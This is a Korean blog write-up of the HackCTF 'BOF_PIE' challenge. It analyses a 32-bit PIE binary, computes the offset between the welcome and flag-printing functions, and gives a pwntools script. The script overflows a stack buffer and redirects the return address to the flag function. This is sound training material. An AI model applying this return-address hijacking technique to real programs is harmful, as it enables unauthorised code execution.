HACKCTF - BOF_PIE

2020. 7. 23. 08:13CTF's Write-up

 

문제화면

 

문제를 확인하면 BOF_PIE라는 단어를 보니 PIE가 설정되어있는 바이너리일 확률이 높아 보이네요.

파일을 다운받아서 확인해보면

 

file bof_pie

 

먼저 32bit 파일임을 알 수 있고,

 

checksec --file=bof_pie

PIE역시 설정되어있는것을 볼 수 있습니다.

파일을 실행시켜보면

 

 

./bof_pie

주소 하나를 던져주고, hello 라고 입력을 해보았더니 Nah..라고 나오네요

ida를 활용해서 함수를 자세히 봐보면

 

main

welcome함수를 호출하고 Nah... 를 표시하니까 welcome함수 내에서 취약점이 발생할 확률이 높다고 볼 수 있습니다

 

welcome 함수

 

welcome함수의 위치를 출력하고, vl 이라는 변수를 이 부분에 있었군요.

그럼 PIE가 걸려있는 프로그램에서 RET를 조작해서 실행시키려면 어디엔가 shell을 실행시키는 함수가 있을 것 같은데 찾아보니

 

j0n9hyun

 

이 함수에서 flag를 출력하니 이 함수를 호출시키면 되는데

여기서 익스하기 전에 알아야 할 것이 PIE보호기법입니다. PIE란 프로그램이 실행될 때 메모리상에서 프로그램이 자기맘대로 base주소가 움직여서 결론적으로 익스할때는 offset을 계산해서 따라가는 식으로 계산해야합니다.

 

함수 위치 

 

파란색으로 클릭한 부분을 보면

j0n9jyun 함수는 0x00000890이고

welcome 함수는 0x00000909이므로 두개의 offset을 구해서 ret에 넘겨주면 될 것 같습니다.

 

추가로 dummy의 크기는

 

스택위치

변수[0x12] + SFP[0x4] + ret를 주면 됩니다.

exploit 코드를 작성해보면

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
#r = process("./bof_pie")
= remote("ctf.j0n9hyun.xyz"3008)
= ELF("./bof_pie")
context.log_level = "debug"
 
 
welcome = 0x00000909
flag = 0x00000890
offset = welcome - flag
 
r.recvuntil("is ")
stack = int(r.recv(10), 16)
log.info("ret = " + hex(stack))
 
payload = ""
payload += "A"*0x12 + "A"*0x4
payload += p32(stack-offset)
 
r.sendline(payload)
r.interactive()
cs

 

다음과 같이 구성할 수 있고, 실행시켜보면

 

 다음과 같이 FLAG를 획득할 수 있습니다.

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Reversing Me  (0) 2020.07.24
HACKCTF - Baseball Price  (0) 2020.07.24
HACTCTF - 세상에서 잊혀진 날 찾아줘!  (0) 2020.07.22
HACKCTF - Secret Document  (0) 2020.07.22
HACKCTF - So easy?  (0) 2020.07.21